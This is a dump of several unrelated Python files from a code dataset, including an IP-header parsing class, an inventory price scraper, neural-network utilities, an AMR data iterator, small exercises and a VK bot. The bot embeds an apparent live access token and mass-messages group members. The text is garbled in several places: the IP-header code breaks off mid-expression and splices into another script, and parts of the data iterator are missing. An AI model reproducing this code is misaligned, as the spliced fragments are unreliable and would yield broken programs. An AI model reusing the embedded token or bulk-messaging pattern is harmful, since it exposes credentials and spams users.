(\"tos\", c_ubyte),\n (\"len\", c_ushort),\n (\"id\", c_ushort),\n (\"offset\", c_ushort),\n (\"ttl\", c_ubyte),\n (\"protocol_num\", c_ubyte),\n (\"sum\", c_ushort),\n (\"src\", c_uint32),\n (\"dst\", c_uint32)\n ]\n\n '''\n 参数:\n __new__的第一个占位参数是class对象\n __init__的第一个占位参数是class的实例对象\n 其他的参数应一致\n \n 作用:\n __new__ 用来创建实例,在返回的实例上执行__init__,如果不返回实例那么__init__将不会执行\n __init__ 用来初始化实例,设置属性什么的\n\n from_buffer_copy is defined by the metaclass, type(ctypes.Structure)\n '''\n def __new__(self,socket_buffer=None):\n #print(\"Create New Object ...\")\n return self.from_buffer_copy(socket_buffer)\n\n def __init__(self,socket_buffer=None):\n #print(\"Initialize Object ...\")\n self.protocol_map = {1:\"ICMP\",6:\"TCP\",17:\"UDP\"}\n self.src_address = socket.inet_ntoa(struct.pack(\"\")+1:nameLine.find(\"<\", 5)]\n\t\t\t\t\n\t\t\tif webLine.find(now.strftime(\"%b %d %Y\")) != -1:\t\t\t\t\t\t\t#find last sale price and save it to the variable price\n\t\t\t\tpriceLine = webLine[webLine.rfind(\"[\"):-4]\n\t\t\t\tprice = Decimal(priceLine[priceLine.find(\",\", 7)+1:priceLine.rfind(\",\")])\n\t\t\t\t\n\t\t\t\t\n\t\titemTotal = (Decimal(amount)*price).quantize(Decimal(\".01\"))\t\t\t\t\t#product of individual price and amount\n\t\t\n\t\titemList.append([name,\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#append values to item list\n\t\t\t\t\t\t price.quantize(Decimal(\".01\")).__str__(),\n\t\t\t\t\t\t amount.__str__(),\n\t\t\t\t\t\t itemTotal.__str__()])\n\t\t\n\t\tprint(\"Found Price data for \" + name)\n\t\tsleep(0.15)\n\n\n\nprint(\"Item price retrieved. Printing item summary:\\n\")\n\nitemList.sort(key=lambda item: item[3], reverse=True)\t\t\t\t\t\t\t\t\t#sort by total item value\nprintList = itemList[:]\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#copy item list and append header list\nheaderList = [\"Item Name\", \"Value\", \"Amount\", \"Total\"]\nprintList.append(headerList)\n\nl = [0,0,0,0]\nfor index in range(4):\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#find the size of the largest string in each position in the list\n\tfor item in printList:\n\t\tif l[index] < item[index].__len__():\n\t\t\tl[index] = item[index].__len__()\n\t\t\n\nprint(headerList[0].rjust(l[0]+1),\t\t\t\t\t\t\t\t\t\t\t\t\t\t#print headers, adjusted with margins\n\t headerList[1].rjust(l[1]+2),\n\t headerList[2].rjust(l[2]+2),\n\t headerList[3].rjust(l[3]+2))\n\t \nfor item in itemList:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#iterate through and print item info, adjusted with margins\n\tprint(item[0].rjust(l[0]+1),\n\t\t item[1].rjust(l[1]+2),\n\t\t item[2].rjust(l[2]+2),\n\t\t item[3].rjust(l[3]+2))\n\t\t \n\ntotalVal = sum([Decimal(x) for x in columnExtractor(itemList,3)])\t\t\t\t\t\t#calculate totals and averages\ntotalNum = sum([Decimal(x) for x in columnExtractor(itemList,2)])\navgVal = totalVal/totalNum\n\nprint(\"\\nTotal Value:\".rjust(l[0]+l[1]+l[2]+7),str(totalVal).rjust(l[3]+2))\t\t\t\t#print totals and averages\nprint(\"Total number of items:\".rjust(l[0]+l[1]+l[2]+7),str(totalNum).rjust(l[3]+2))\nprint(\"Average item value:\".rjust(l[0]+l[1]+l[2]+7),str(avgVal.quantize(Decimal(\".01\"))).rjust(l[3]+2))\n\n\t\n","sub_path":"Inventory.py","file_name":"Inventory.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"176655846","text":"import numpy as np\nimport time \nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom scipy import stats\n\n\ndef timerfunc(func):\n #timer decorator\n def function_timer(*args, **kwargs):\n start = time.clock()\n start_cputime = time.process_time()\n\n value = func(*args, **kwargs)\n\n end_cputime = time.process_time()\n end = time.clock() \n runtime_cpu = end_cputime - start_cputime\n runtime = end - start \n msg = \"\\nThe clock time (CPU time) for {func} was {time:.5f} ({cpu_time:.5f}) seconds\"\n print(msg.format(func=func.__name__,\n time=runtime,\n cpu_time = runtime_cpu))\n return value\n return function_timer\n\n\ndef flatten_weights(cloud,N):\n tensor_names = list(cloud[0].keys())\n\n nn_shape = []\n for param in cloud[0]:\n nn_shape.append(np.shape(cloud[0][param]))\n\n cloudf = []\n for nn in range(N):\n flatten = np.array([])\n for param in cloud[nn].values():\n flatten = np.concatenate((flatten,np.ndarray.flatten(param)),axis=None)\n cloudf.append(flatten) \n cloudf = np.array(cloudf)\n\n return cloudf, nn_shape, tensor_names\n\ndef flatten_weights_gradients(cloud, gradients, N):\n n_params = len(cloud[0])\n weight_names = list(cloud[0].keys())\n nn_shape = []\n for param in cloud[0]:\n nn_shape.append(np.shape(cloud[0][param]))\n \n cloudf = []\n gradientsf = []\n for nn in range(N):\n flatten = np.array([])\n flatten_g = np.array([])\n for param in range(n_params):\n flatten_temp = np.ndarray.flatten(cloud[nn][weight_names[param]])\n flatten = np.concatenate((flatten,flatten_temp),axis=None)\n flatten_g_temp = np.ndarray.flatten(gradients[nn][\"d\" + weight_names[param]])\n flatten_g = np.concatenate((flatten_g,flatten_g_temp),axis=None)\n cloudf.append(flatten) \n gradientsf.append(flatten_g)\n cloudf = np.array(cloudf)\n gradientsf = np.array(gradientsf)\n\n return cloudf, gradientsf, nn_shape, weight_names\n\ndef unflatten_weights(cloudf,shapes,weight_names,N):\n n_params = len(shapes)\n new_nn_weights = []\n for nn in range(N):\n init = 0\n new_params_nn = {}\n for param in range(n_params):\n num_params = int(np.prod(shapes[param]))\n new_params_nn[weight_names[param]] = np.reshape(cloudf[nn][init:(init + num_params)],shapes[param])\n init += num_params\n new_nn_weights.append(new_params_nn)\n\n return new_nn_weights\n\ndef kernel_a_finder(cloudf, N):\n\n print(\"Finding kernel constant...\")\n\n cloud_diff_matrix = cloudf[:,np.newaxis] - cloudf\n norm = np.sum(cloud_diff_matrix**2, axis=2) \n kernel_a_pool = [0.00001, 0.0005, 0.0001, 0.0005,0.001,0.005, 0.01, 0.05, 0.1, 0.5, 1, 5, 10, 20, 50, 100]\n for kernel_a in kernel_a_pool:\n if(np.mean(np.einsum('ij -> i',np.exp(-kernel_a*norm))/N)) < 0.5:\n break\n\n print(\"Kernel constant found: \" + str(kernel_a))\n return kernel_a\n\ndef gradient(func, x, h = None):\n if h is None:\n # Note the hard coded value found here is the square root of the\n # floating point precision, which can be found from the function\n # call np.sqrt(np.finfo(float).eps).\n h = 1.49011611938477e-08\n xph = x + h\n dx = xph - x\n return (func(xph) - func(x)) / dx\n\ndef convert_prob_into_class(probs):\n probs_ = np.copy(probs)\n probs_[probs_ > 0.5] = 1\n probs_[probs_ <= 0.5] = 0\n return probs_\n\ndef get_mean(cloud):\n params_mean = {}\n for key in cloud[0]:\n params_mean[key] = np.mean([cloud[j][key] for j in range(len(cloud))],axis=0)\n return params_mean\n\ndef get_var(cloud):\n return np.var(cloud, axis = 0)\n #return np.mean([ np.linalg.norm(param-params_mean)**2 for param in cloud])\n\ndef normal_test(cloudf):\n k, _ = stats.normaltest( (cloudf- np.mean(cloudf,axis=0))/np.var(cloudf,axis=0) , axis = 0)\n print(np.mean(k))\n #print(\"Normality test p-value - percentage of particles rejected: \" + str(1 - np.mean(np.greater(p,0.05))))\n\n\n#PLOTS-----------------------------------------------\n\ndef plot_cost(train_cost,cost_mean,legend= True,title = 'Training Cost Function'):\n \n from matplotlib.lines import Line2D\n\n headers = [\"NN\" + str(i) for i in range(len(train_cost[0]))] \n df = pd.DataFrame(train_cost, columns=headers)\n if cost_mean != 0: df['mean'] = pd.Series(cost_mean, index=df.index)\n\n styles = ['-']*len(train_cost[0])\n if cost_mean != 0: styles.append('k-')\n\n df=df.astype(float)\n\n plt.figure()\n df.plot(style = styles,legend = legend)\n plt.xlabel('Iteration')\n plt.ylabel(title)\n plt.legend([Line2D([0], [0], color = 'black', lw=4)],['Cloud mean'])\n\ndef plot_list(data, title = 'Mean cost function'):\n \n plt.figure()\n plt.plot(data)\n plt.xlabel('Iteration')\n plt.ylabel(title)\n\n\ndef plot_distance_matrix(cloud, N):\n \n n_params = len(cloud[0])\n tensor_names = list(cloud[0].keys())\n\n #flatten all tensors\n cloudf = []\n for nn in range(N):\n flatten = np.ndarray.flatten(cloud[nn][tensor_names[0]])\n for param in range(n_params):\n flatten_temp = np.ndarray.flatten(cloud[nn][tensor_names[param]])\n flatten = np.concatenate((flatten,flatten_temp),axis=None)\n cloudf.append(flatten) \n \n plot_matrix = [[norm2(cloudf[i],cloudf[j]) for j in range(N)] for i in range(N)] \n plt.figure()\n plt.imshow(np.asarray(plot_matrix))\n plt.title(\"Distance between NN\")\n plt.colorbar()\n\n","sub_path":"old/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"513831263","text":"#!/usr/bin/env python3.6\n# coding=utf-8\n'''\n\nIterating over data set\n\n@author: Chunchuan Lyu (chunchuan.lv@gmail.com)\n@since: 2018-05-30\n'''\nfrom utility.constants import *\nfrom utility.data_helper import *\nimport torch\nfrom torch.autograd import Variable\nimport math\nfrom torch.nn.utils.rnn import PackedSequence\nfrom modules.helper_module import MyPackedSequence\nfrom torch.nn.utils.rnn import pack_padded_sequence as pack\nimport re\nimport json\nimport numpy as np\nend= re.compile(\".txt\\_[a-z]*\")\ndef rel_to_batch(rel_batch_p,rel_index_batch_p,data_iterator,dicts):\n lemma_dict,category_dict = dicts[\"lemma_dict\"], dicts[\"category_dict\"]\n\n data = [torch.LongTensor([[category_dict[uni.cat],lemma_dict[uni.le],0] for uni in uni_seq]) for uni_seq in rel_batch_p ]\n rel_index = [torch.LongTensor(index) for index in rel_index_batch_p]\n\n rel_batch,rel_index_batch,rel_lengths = data_iterator._batchify_rel_concept(data,rel_index)\n return MyPackedSequence(rel_batch,rel_lengths),rel_index_batch\n\nclass DataIterator(object):\n\n def __init__(self, filePathes,adjfile_Phths,opt,rel_dict,edgelen,volatile = False ,all_data = None):\n self.cuda = opt.gpus[0] != -1\n self.volatile = volatile\n self.rel_dict = rel_dict\n self.all = []\n self.opt = opt\n self.edgelen = edgelen\n self.nnnei_len = 2\n self.negnei_len = 10\n self.egnei_len = 10\n # break\n \n # self.all = sorted(self.all, key=lambda x: x[0])\n self.src = []\n self.tgt = []\n self.align_index = []\n self.rel_seq = []\n self.rel_index = []\n self.rel_mat = []\n self.root = []\n self.src_source = []\n self.tgt_source = []\n self.rel_tgt = []\n self.fw_adj=[]\n self.bw_adj=[]\n self.fw_edgeid=[]\n self.bw_edgeid=[] #token链接的edge id\n\n if all_data:\n for data in all_data:\n self.read_sentence(data)\n self.batchSize = len(all_data)\n self.numBatches = 1\n else:\n\n for filepath in filePathes:\n n = self.readFile(filepath)\n for adj_filepath in adjfile_Phths:\n self.read_dep_graph(adj_filepath)\n self.batchSize = opt.batch_size\n self.numBatches = math.ceil(len(self.src)/self.batchSize)\n\n self.source_only = len(self.root) == 0\n\n def read_sentence(self,data):\n def role_mat_to_sparse(role_mat,rel_dict):\n index =[]\n value = []\n for i,role_list in enumerate(role_mat):\n for role_index in role_list:\n if role_index[0] in rel_dict:\n index.append([i,role_index[1]])\n value.append(rel_dict[role_index[0]])\n size = torch.Size([len(role_mat),len(role_mat)])\n v = torch.LongTensor(value)\n if len(v) == 0:\n i = torch.LongTensor([[0,0]]).t()\n v = torch.LongTensor([0])\n return torch.sparse.LongTensor(i,v,size)\n\n i = torch.LongTensor(index).t()\n return torch.sparse.LongTensor(i,v,size)\n\n #src: length x n_feature\n\n self.src.append(torch.LongTensor([data[\"snt_id\"],data[\"lemma_id\"],data[\"pos_id\"],data[\"ner_id\"]]).t().contiguous())\n #source\n\n self.src_source.append([data[\"tok\"],data[\"lem\"],data[\"pos\"],data[\"ner\"]])\n\n #tgt: length x n_feature\n # print (data[\"amr_id\"])\n if \"amr_id\" in data:\n self.tgt.append(torch.LongTensor(data[\"amr_id\"])) # lemma,cat, lemma_sense,ner,is_high\n self.align_index.append(data[\"index\"])\n\n amrl = len(data[\"amr_id\"])\n for i in data[\"amr_rel_index\"]:\n assert i 0:\n # for j,g in enumerate(fw_edgeid[str(i)]):\n # fw_edgeid[i][fgk] = g\n # fgk = fgk+1\n # fw_edgedep[g][fed] = i\n # fed = fed+1\n # if len(bw_edge[str(i)])>0:\n # for j,g in enumerate(bw_edgeid[str(i)]):\n # fw_edgeid[i][fgk] = g\n # bgk = bgk+1\n # bw_edgedep[g][fed] = i\n # bed = bed+1\n\n\n\n\n self.fw_adj.append(fw_dict)\n self.bw_adj.append(bw_dict)\n self.fw_edgeid.append(fw_edge)\n self.bw_edgeid.append(bw_edge)\n\n def readFile(self,filepath):\n print (\"reading \"+filepath)\n data_file = Pickle_Helper(filepath)\n\n all_data = data_file.load()[\"data\"]\n for data in all_data:\n # print (data)\n self.read_sentence(data)\n print((\"done reading \"+filepath+\", \"+str( len(all_data))+\" sentences processed\"))\n return len(all_data)\n\n #align_index: batch_size x var(tgt_len) x []\n #out : batch_size x tgt_len x src_len\n def _batchify_align(self, align_index,max_len):\n out = torch.ByteTensor(len(align_index),max_len,max_len).fill_(0)\n for i in range(len(align_index)):\n for j in range(len(align_index[i])):\n if align_index[i][j][0] == -1:\n out[i][j][:align_index[i][j][1]].fill_(1)\n else:\n for k in align_index[i][j]:\n out[i][j][k] = 1\n for j in range(len(align_index[i]),max_len): #for padding\n out[i][j][len(align_index[i]):].fill_(1)\n return out\n\n #rel_seq: batch_size x var(len) x n_feature\n #rel_index: batch_size x var(len)\n\n #out : all_data x n_feature\n #out_index: batch_size x var(len)\n #lengths : batch_size\n def _batchify_rel_concept(self, data,rel_index ):\n lengths = [len(x) for x in data]\n for l in lengths:\n assert l >0, (data,rel_index)\n second = max([x.size(1) for x in data])\n total = sum(lengths)\n out = data[0].new(total, second)\n out_index = []\n current = 0\n for i in range(len(data)):\n data_t = data[i].clone()\n out.narrow(0, current, lengths[i]).copy_(data_t)\n index_t = rel_index[i].clone()\n if self.cuda:\n index_t = index_t.cuda()\n out_index.append(Variable(index_t,volatile=self.volatile,requires_grad = False))\n # out_index.append(index_t)\n current += lengths[i]\n out = Variable(out,volatile=self.volatile,requires_grad = False)\n\n if self.cuda:\n out = out.cuda()\n return out,out_index,lengths\n\n\n #rel_mat: batch_size x var(len) x var(len)\n #rel_index: batch_size x var(len)\n\n #out : (batch_size x var(len) x var(len))\n def _batchify_rel_roles(self, all_data ):\n length_squares = [x.size(0)**2 for x in all_data]\n total = sum(length_squares)\n out = torch.LongTensor(total)\n current = 0\n for i in range(len(all_data)):\n data_t = all_data[i].to_dense().clone().view(-1)\n out.narrow(0, current, length_squares[i]).copy_(data_t)\n current += length_squares[i]\n\n out = Variable(out,volatile=self.volatile,requires_grad = False)\n if self.cuda:\n out = out.cuda()\n\n return out,length_squares\n\n\n #data: batch_size x var(len) x n_feature\n #out : batch_size x tgt_len x n_feature\n def _batchify_tgt(self, data,max_src ):\n lengths = [x.size(0) for x in data]\n max_length = max(max(x.size(0) for x in data),max_src) #if y, we need max_x\n out = data[0].new(len(data), max_length,data[0].size(1)).fill_(PAD)\n for i in range(len(data)):\n data_t = data[i].clone()\n data_length = data[i].size(0)\n out[i].narrow(0, 0, data_length).copy_(data_t)\n return out\n\n #data: batch_size x var(len) x n_feature\n #out : batch_size x src_len x n_feature\n def _batchify_src(self, data,max_length ):\n out = data[0].new(len(data), max_length,data[0].size(1)).fill_(PAD)\n\n for i in range(len(data)):\n data_t = data[i].clone()\n data_length = data[i].size(0)\n out[i].narrow(0, 0, data_length).copy_(data_t)\n return out\n\n def getLengths(self,index):\n src_data = self.src[index*self.batchSize:(index+1)*self.batchSize]\n src_lengths = [x.size(0) for x in src_data]\n if self.source_only:\n return src_lengths,max(src_lengths)\n\n tgt_data = self.tgt[index*self.batchSize:(index+1)*self.batchSize]\n tgt_lengths = [x.size(0) for x in tgt_data]\n lengths = []\n for i,l in enumerate(src_lengths):\n lengths.append(max(l,tgt_lengths[i]))\n return lengths,max(lengths)\n\n def _combine_adj(self, fw_adjs, bw_adjs,fw_depidBatch,bw_depidBatch, src_batch): # yang\n\n batch_length = np.array(src_batch.batch_sizes)\n lens = len(src_batch.data)\n\n nfw_adjs = np.ones((lens,self.nnnei_len))*-1\n nbw_adjs = np.ones((lens,self.nnnei_len))*-1\n fw_edgeid = np.zeros((lens, self.negnei_len))\n bw_edgeid = np.zeros((lens, self.negnei_len))\n fw_edgedep = np.ones((self.edgelen, self.egnei_len))*-1\n bw_edgedep = np.ones((self.edgelen, self.egnei_len))*-1\n\n fw_list = [[] for i in range(self.edgelen)]\n bw_list = [[] for i in range(self.edgelen)]\n\n # print(\"batch_length\",batch_length,sum(batch_length-1))\n for i in range(len(fw_adjs)): # 第i个样本,第j个token和其连接的第k个邻居\n\n # print(\"len(fw_adjs)=\",(fw_adjs[i]))\n for j in range(len(fw_adjs[i])):\n indince = np.arange(0, j, 1)\n ind = sum(batch_length[indince])+i\n jid = str(j)\n if len(fw_adjs[i][jid]) > 0:\n for k in range(min(len(fw_adjs[i][jid]),self.negnei_len)):\n indinces = np.arange(0, fw_adjs[i][jid][k], 1)\n total_length = sum(batch_length[indinces])\n nfw_adjs[ind][k] = total_length + i\n\n if len(fw_depidBatch[i][jid]) > 0:\n for k in range(min(len(fw_depidBatch[i][jid]),self.negnei_len)):\n fw_edgeid[ind][k] = fw_depidBatch[i][jid][k]\n bw_list[fw_depidBatch[i][jid][k]].append(ind)\n\n for i in range(len(bw_adjs)):\n for j in range(len(bw_adjs[i])):\n indinces = np.arange(0, j, 1)\n ind = sum(batch_length[indinces]) + i\n\n jid = str(j)\n if len(bw_adjs[i][jid]) > 0:\n for k in range(min(len(bw_adjs[i][jid]),self.negnei_len)):\n indinces = np.arange(0, bw_adjs[i][jid][k], 1)\n total_length = sum(batch_length[indinces])\n nbw_adjs[ind][k] = total_length + i\n if len(bw_depidBatch[i][jid]) > 0:\n for k in range(min(len(bw_depidBatch[i][jid]), self.negnei_len)):\n bw_edgeid[ind][k] = bw_depidBatch[i][jid][k]\n fw_list[bw_depidBatch[i][jid][k]].append(ind)\n for i in range(self.edgelen):\n for j in range(min(len(fw_list[i]),self.egnei_len)):\n fw_edgedep[i][j] = fw_list[i][j]\n for j in range(min(len(bw_list[i]),self.egnei_len)):\n bw_edgedep[i][j] = bw_list[i][j]\n\n for i in range(lens):\n if sum(nbw_adjs[i, :]) < - self.nnnei_len+0.5:\n if i-len(bw_adjs) >= 0:\n nbw_adjs[i, 0] = i - len(bw_adjs)\n else:\n nbw_adjs[i, 0] = i + len(bw_adjs)\n if sum(nfw_adjs[i, :]) < - self.nnnei_len+0.5:\n if i-len(bw_adjs) >= 0:\n nfw_adjs[i, 0] = i - len(bw_adjs)\n else:\n nfw_adjs[i, 0] = i + len(bw_adjs)\n nfw_adjs = torch.LongTensor(nfw_adjs)\n nbw_adjs = torch.LongTensor(nbw_adjs)\n fw_edgeid = torch.LongTensor(fw_edgeid)\n bw_edgeid = torch.LongTensor(bw_edgeid)\n fw_edgedep = torch.LongTensor( fw_edgedep)\n bw_edgedep = torch.LongTensor( bw_edgedep)\n return nfw_adjs, nbw_adjs,fw_edgeid,bw_edgeid,fw_edgedep,bw_edgedep\n\n def __getitem__(self, index):\n assert index < self.numBatches, \"%d > %d\" % (index, self.numBatches)\n lengths,max_len = self.getLengths(index )\n def wrap(b,l ):\n #batch, len, feature\n if b is None:\n return b\n b = torch.stack(b, 0).transpose(0,1).contiguous()\n if self.cuda:\n b = b.cuda()\n packed = pack(b,list(l))\n return PackedSequence(Variable(packed[0], volatile=self.volatile,requires_grad = False),packed[1])\n\n def wrap_align(b,l ):\n #batch, len_tgt, len_src\n if b is None:\n return b\n b = torch.stack(b, 0).transpose(0,1).contiguous().float()\n if self.cuda:\n b = b.cuda()\n packed = pack(b,list(l))\n return PackedSequence(Variable(packed[0], volatile=self.volatile,requires_grad = False),packed[1])\n\n srcBatch = self._batchify_src(\n self.src[index*self.batchSize:(index+1)*self.batchSize],max_len)\n\n # fw_depidBatch = self._batchify_src(self.fw_edgeid[index * self.batchSize:(index + 1) * self.batchSize],max_len)\n # bw_depidBatch = self._batchify_src(self.bw_edgeid[index * self.batchSize:(index + 1) * self.batchSize],max_len)\n if self.source_only:\n src_sourceBatch = self.src_source[index*self.batchSize:(index+1)*self.batchSize]\n\n batch = zip( srcBatch,src_sourceBatch)\n lengths,max_len = self.getLengths(index )\n order_data = sorted(list(enumerate(list(zip(batch, lengths)))),key = lambda x:-x[1][1])\n order,data = zip(*order_data)\n batch, lengths = zip(*data)\n srcBatch,src_sourceBatch = zip(*batch)\n return order,wrap(srcBatch,lengths),src_sourceBatch\n\n else:\n tgtBatch = self._batchify_tgt(\n self.tgt[index*self.batchSize:(index+1)*self.batchSize],max_len)\n alignBatch = self._batchify_align(\n self.align_index[index*self.batchSize:(index+1)*self.batchSize],max_len)\n\n rel_seq_pre = self.rel_seq[index*self.batchSize:(index+1)*self.batchSize]\n rel_index_pre = self.rel_index[index*self.batchSize:(index+1)*self.batchSize]\n rel_role_pre = self.rel_mat[index*self.batchSize:(index+1)*self.batchSize]\n\n # roots = Variable(torch.IntTensor(self.root[index*self.batchSize:(index+1)*self.batchSize]),volatile = True)\n roots =self.root[index*self.batchSize:(index+1)*self.batchSize]\n fw_adjs = self.fw_adj[index*self.batchSize:(index+1)*self.batchSize]\n bw_adjs = self.bw_adj[index*self.batchSize:(index+1)*self.batchSize]\n fw_depidBatch = self.fw_edgeid[index*self.batchSize:(index+1)*self.batchSize]\n bw_depidBatch = self.bw_edgeid[index * self.batchSize:(index + 1) * self.batchSize]\n\n\n src_sourceBatch = self.src_source[index*self.batchSize:(index+1)*self.batchSize]\n\n tgt_sourceBatch = self.tgt_source[index*self.batchSize:(index+1)*self.batchSize]\n sourceBatch = [ src_s +tgt_s for src_s,tgt_s in zip(src_sourceBatch,tgt_sourceBatch)]\n # within batch sorting by decreasing length for variable length rnns\n indices = range(len(srcBatch))\n\n batch = zip(indices, srcBatch ,tgtBatch,alignBatch,rel_seq_pre,rel_index_pre,rel_role_pre,sourceBatch,roots,fw_adjs,bw_adjs,fw_depidBatch,bw_depidBatch)\n order_data = sorted(list(enumerate(list(zip(batch, lengths)))),key = lambda x:-x[1][1])\n order,data = zip(*order_data)\n batch, lengths = zip(*data)\n indices, srcBatch,tgtBatch,alignBatch ,rel_seq_pre,rel_index_pre,rel_role_pre,sourceBatch,roots,fw_adjs,bw_adjs,fw_depidBatch,bw_depidBatch= zip(*batch)\n\n rel_batch,rel_index_batch,rel_lengths = self._batchify_rel_concept(rel_seq_pre,rel_index_pre)\n rel_roles,length_squares = self._batchify_rel_roles(rel_role_pre)\n\n\n src_batch = wrap(srcBatch,lengths)\n\n # for i in range(len(lengths)):\n # print(lengths[i],fw_adjs[i],bw_adjs)\n fw_adjss,bw_adjss,fw_edgeids,bw_edgeids,fw_edgedeps,bw_edgedeps = self._combine_adj(fw_adjs,bw_adjs,fw_depidBatch,bw_depidBatch,src_batch)\n # print(\"srcBatch\",srcBatch)\n # print(\"fw_depidBatch\", fw_depidBatch)\n #,wrap(charBatch))\n return order, src_batch, wrap(tgtBatch,lengths), wrap_align(alignBatch,lengths),\\\n MyPackedSequence(rel_batch,rel_lengths),rel_index_batch,MyPackedSequence(rel_roles,length_squares),\\\n roots,sourceBatch, fw_adjss,bw_adjss,fw_edgeids,bw_edgeids,fw_edgedeps,bw_edgedeps\n\n def __len__(self):\n return self.numBatches\n\n\n def shuffle(self):\n # if True: return\n if self.source_only: #if data set if for testing\n print(\"source only\")\n data = list(zip(self.src,self.src_source,self.fw_adj,self.bw_adj,self.fw_edgeid,self.bw_edgeid))\n self.src,self.src_source,self.fw_adj,self.bw_adj,self.fw_edgeid,self.bw_edgeid = zip(*[data[i] for i in torch.randperm(len(data))])\n else:\n data = list(zip(self.src, self.tgt,self.align_index,self.rel_seq,self.rel_index,self.rel_mat,self.root,self.src_source,self.tgt_source,self.fw_adj,self.bw_adj,self.fw_edgeid,self.bw_edgeid))\n self.src, self.tgt,self.align_index,self.rel_seq,self.rel_index,self.rel_mat,self.root,self.src_source,self.tgt_source,self.fw_adj,self.bw_adj,self.fw_edgeid,self.bw_edgeid = zip(*[data[i] for i in torch.randperm(len(data))])\n\n","sub_path":"src/DataIterator.py","file_name":"DataIterator.py","file_ext":"py","file_size_in_byte":19972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"97085928","text":"# Dec 14\nst, num = input('Input: ').split()\nst = list(st)\nnum = int(num)\nfor i in range(len(st)):\n st[i] = chr(ord(st[i]) + num)\nencrypted = ''.join(x for x in st)\nprint('Encoded output:', encrypted)\n\n# Decryption (Optional)\n# def decrypt(s,num):\n# s = list(s)\n# for i in range(len(s)):\n# st[i] = chr(ord(st[i]) - num)\n# print('Decrypted:',''.join(x for x in st))\n\n# decrypt(encrypted,num)\n\n# Sample I/O\n# Input: feel 4\n# Encoded output: jiip\n","sub_path":"December-14/python_drstrange11.py","file_name":"python_drstrange11.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"213983029","text":"from typing import List\n\n\nclass Solution:\n def removeDuplicates(self, nums: List[int]) -> int:\n n = len(nums)\n if n == 0:\n return 0\n slow = 0\n for fast in range(n):\n if nums[slow] != nums[fast]:\n slow += 1\n nums[slow] = nums[fast]\n return slow + 1\n\n\nif __name__ == '__main__':\n nums = [0, 0, 1, 1, 1, 2, 2, 3, 3, 4]\n result = Solution().removeDuplicates(nums)\n print(result)\n","sub_path":"hot/leetcode/26.删除有序数组中的重复项/26.删除有序数组中的重复项.py","file_name":"26.删除有序数组中的重复项.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"91541543","text":"import sys\nsys.stdin = open(\"4864.txt\", \"r\")\n\ndef BruteForce(key, text):\n i = 0\n j = 0\n t = len(text)\n k = len(key)\n while i < t and j < k:\n if text[i] != key[j]:\n i = i - j\n j = -1\n i += 1\n j += 1\n if j == k:\n return 1\n else:\n return 0\n\n\nT = int(input())\nfor tc in range(1, T+1):\n print('#{} {}'.format(tc, BruteForce(input(), input())))\n\n","sub_path":"05_algo/algo/190821/4864_2.py","file_name":"4864_2.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"602190943","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom vk_api.utils import get_random_id\nimport vk\nfrom bs4 import BeautifulSoup as BS\nfrom selenium import webdriver\nimport time\nfrom pyvirtualdisplay import Display\n\nurl = 'https://www.youtube.com/channel/UCXZBrkds6XdSOfH6--Y3Fug/videos'\ntoken = '486ecea181ee5467cf628c6eca2c70ff2dd134521faddf0ed1906381aa5120fe6ab475f0c9fc2e58ab19c'\n\ndef parse_url(URL):\n while True:\n with Display():\n driver = webdriver.Chrome('/home/omon/python/chromedriver')\n driver.get(URL)\n time.sleep(10) #Можно ждать до загрузки страницы, но проще подождать 10 секунд, их хватит с запасом\n html = driver.page_source\n soup = BS(html, \"html.parser\")\n videos = soup.find_all(\"ytd-grid-video-renderer\",{\"class\":\"style-scope ytd-grid-renderer\"})\n a = videos[0].find(\"a\",{\"id\":\"video-title\"})\n link = \"https://www.youtube.com\" + a.get(\"href\")\n with open('last_url.log', 'r') as last_url:\n url = last_url.read()\n if url != link:\n with open('last_url.log', 'w') as last_url:\n last_url.write(link)\n auto_send_wall(token, link)\n print('Вышел новый видосик!')\n else:\n print('Все нормуль, все чисто')\n sleep(180)\n\n\ndef auto_send_wall(tok, URL):\n import vk\n session = vk.Session(access_token = tok)\n vk = vk.API(session, scope = 'messages', v ='5.62')\n followers = vk.groups.getMembers(group_id = '355860713')\n msg = '''\n Новое видео на канале наркомана!!!\n Рекомендуется всем к просмотру!!!\n\n\n {0}\n {0}\n {0}\n\n '''.format(URL)\n for i in followers['items']:\n vk.messages.send(user_id = str(i), random_id = get_random_id(), message = msg)\n\n\nwhile True:\n parse_url(url)\n","sub_path":"final_bot.py","file_name":"final_bot.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"536019615","text":"# https://www.acmicpc.net/problem/15650\n\n\ndef recursive(depth, k):\n\n if depth == M:\n print(*ans)\n return\n\n for i in range(k, N):\n if not visited[i]:\n visited[i] = 1\n ans.append(i+1)\n recursive(depth+1, i)\n visited[i] = 0\n ans.pop()\n\n\nN, M = map(int, input().split())\n\nnums = [n for n in range(1, N+1)]\n\nans = []\nvisited = [0] * N\nrecursive(0, 0)\n","sub_path":"Baekjoon/backtracking/15650_N_and_M_2.py","file_name":"15650_N_and_M_2.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"491773230","text":"list1 = input().split(\",\")\nlist1 = [int(i) for i in list1]\ntarget = int(input())\ni, j = 0, len(list1) - 1\nleft, right = 0, len(list1) - 1\nans = -1\nplace = 0\nwhile i < j:\n if list1[i] < list1[i + 1]:\n i += 